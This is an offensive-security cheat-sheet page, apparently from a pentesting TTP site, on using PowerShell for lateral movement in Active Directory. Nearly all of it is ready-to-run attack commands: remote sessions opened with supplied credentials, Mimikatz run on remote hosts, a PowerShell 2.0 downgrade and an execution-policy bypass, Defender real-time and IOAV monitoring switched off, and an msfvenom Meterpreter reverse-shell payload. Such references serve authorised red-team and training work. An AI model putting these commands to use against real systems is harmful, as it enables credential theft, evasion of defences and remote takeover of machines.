> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/infrastructure/active-directory/lateral_movement/exploitation_with_powershell.md).

# PowerShell

MITRE ATT\&CK, Execution, Technique T1059.001

### Basic Usage

#### Creating a PowerShell Session

**Background:** We can establish a persistent connection in PowerShell using Enter-PSSession. This can make life significantly easier and reduce overhead.

```bash
New-PSSession -ComputerName [IP] -Credential [USER]
Enter-PSSession -Session $#
```

#### Executing Scripts Remotely

**Background:** We can execute scripts remotely with PowerShell.

```bash
Invoke-Command -Session $# -FilePath C:\Users\Parzival\Desktop\Mimikatz.exe
```

### Enumeration

#### Enumerate Installed Versions

**Background:** This can be helpful when determining if a PowerShell downgrade attack will work.

```bash
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\PowerShell\*\PowerShellEngin e -Name PowerShellVersion).PowerShellVersion
```

This is important as if PowerShell 2.0 is installed then we can bypass multiple security protections enabled in more recent PowerShell Version 5 releases:

```bash
powershell.exe -Version 2
```

### Offensive PowerShell

#### Bypassing Execution Policy

**Information:** Execution policies can be disabled in multiple ways. It is not a sufficient security protection to prevent unsigned scripts from being loaded.

```bash
powershell.exe -exec bypass 
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
```

#### Bypassing Real-time Monitoring

```bash
Powershell Set-MpPreference -DisableRealtimeMonitoring $true
Powershell Set-MpPreference -DisableIOAVProtection $true
```

#### Meterpreter Shell

```bash
msfvenom -p cmd/windows/powershell/meterpreter/reverse_tcp LHOST=$ip LPORT=$port
```